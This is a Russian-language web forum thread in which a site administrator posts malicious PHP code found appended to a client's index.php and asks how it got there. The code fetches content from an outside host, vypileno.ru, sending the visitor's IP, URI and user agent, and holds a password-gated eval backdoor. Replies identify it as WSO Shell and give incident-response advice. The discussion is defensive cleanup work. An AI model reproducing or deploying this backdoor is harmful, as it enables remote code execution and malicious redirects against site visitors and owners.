У меня тут клиенту шелл залили, дописали к файлу index.php .. . зашифрованный все как полагается.. вот его код)) PHP: if (!isset($ibv)) { @ini_set("display_errors",false); @error_reporting(0); if(!empty($_COOKIE["client_check"]) && empty($ibv)) { $ibv = $_COOKIE["client_check"]; echo $ibv; } elseif (empty($ibv)) { if (strstr($_SERVER["HTTP_HOST"], "127.0")){ $name = $_SERVER["SERVER_ADDR"]; }else{ $name = $_SERVER["HTTP_HOST"]; } $usera = isset($_SERVER["HTTP_USER_AGENT"]) ? urlencode($_SERVER["HTTP_USER_AGENT"]):""; $url = "http://vypileno.ru/get.php?ip=".urlencode($_SERVER["REMOTE_ADDR"])."&d=".urlencode($name.$_SERVER["REQUEST_URI"])."&u=".$usera."&i=1&h=".md5("5d065a4a70eccd866c57d62e8558890011"); if(function_exists("curl_init")) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_HEADER, FALSE);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $ibv = curl_exec($ch); $info = curl_getinfo($ch); if ($info["http_code"]!=200){ $ibv=""; } curl_close($ch); } elseif(ini_get("allow_url_fopen") == 1) { $ibv = file_get_contents($url); } if(!empty($_POST["p"]) && md5(md5($_POST["p"])) == "cadd9ed9d7c0e590f789a825e7c61d59") { @eval(stripslashes($_POST["c"])); } echo $ibv; } } что то получает с удаленного сайта и отображает.. пока не нашел как залили.... клиент обнаружил что его редиректит, поэтому полез разбираться.. Что посоветуете? Как вычислить как его залили??
еще не добрался)) нашел похоже сам шелл.. а не просто редирект который срабывает из index.php файл в аттаче))
Залить могли разными способами. Даже через SQL-инъекцию можно залить PHP-шелл. Другие вероятные места - заливка файлов. Картиночки там, например. В них на раз зашивается шелл.
картинки при загрузке все пережимаются.. sql инъекция тоже маловероятно.. все данные через плейсхолдеры в запросах отправляются.. пока смотрю, запустил айболита)
Декодировал твой файл.Судя по всему это WSO Shell,можешь исходники почитать если интересно,сюда код не лезет,опубликовал на pastebin: https://pastebin.com/SaCMPeX3
да мой любимый simplemachines.org я его неплохо знаю.. у меня немало клиентов с такими форумчами.. никогда не было никаких проблем..
Ну тут 2 пути, либо баг был из коробки,что кстати не редкость.У меня друг на монстрах покупал шаблон,поставил его и через 2 дня пишет,что у него появился новый файл странным образом,я запросил логи сервера,почитал,вижу 2 запроса подряд причем от Питона,первым чекнули на багу,вторым залили шелл,оказалось в итоге что шаблон был на фреймворке версия которого содержала критические баги,собственно либо в каком то кастомном моменте отсутствие фильтрации входных данных.Нужно локализовать уязвимое место,иначе даже после чистки - снова прокинут.
там кроме обращения к файлу шелла нет ничего.. по крайней мере я не увидел.. --- Добавлено --- да.. у логов ротация неделя.. так что если раньше что то было - не увижу..
Если честно, пугают подходы к решению проблемы... . Первое что необходимо сделать: сохранить копии логов, запросить необходимые у хостера (если они вам видны за короткий промежуток времени - долбитесь к хостеру, логи в 90% случаях есть за больший период времени, но на не доступном вам уровне). Второе - посмотреть даты изменения файлов в которые были записаны изменения. Датам изменения файлов в фс верить нельзя, в случае ручного взлома не школьник их легко за собой поправит. Ниразу не факт что шелл вам залили через запрос на веб-сервер поэтому с хостера сливаете еще и ftp-логи (и прочие, в зависимости от используемых протоколов внесения изменений, вида услуги хостинга, панели управления услугами и т.п.). После нахождения и удаления шелла, не спешите радоваться: в единственной копии они заливаются не часто. смотрите diffom разницу с голой копией коробки (этот же подход поможет выявить установку левых плагинов и ручной говнокод) После нахождения точек входа и устранения изменений система проверяется на открытые уязвимости (обычно это коробка, поэтому эксплойты все лежат в свободном доступе), обновляется до стабильной версии рекомендованной контрибуторами продукта. На последнем этапе можно прогнать сайт стандартными инструментами тестирования для поиска точек входа, инъекций и т.п.
@Zuldek логов нет.. копии логов нет потому что свой сервер и период ротации 7 дней даты изменения файлов в первую очередь посмотрел в логах ФТП ничего подозрительного не увидел.. айболитом всем проверил все файлы вручную просмотрел на предмет инъекций.. а так же все директории посмотрел на предмет незнакомых файлов.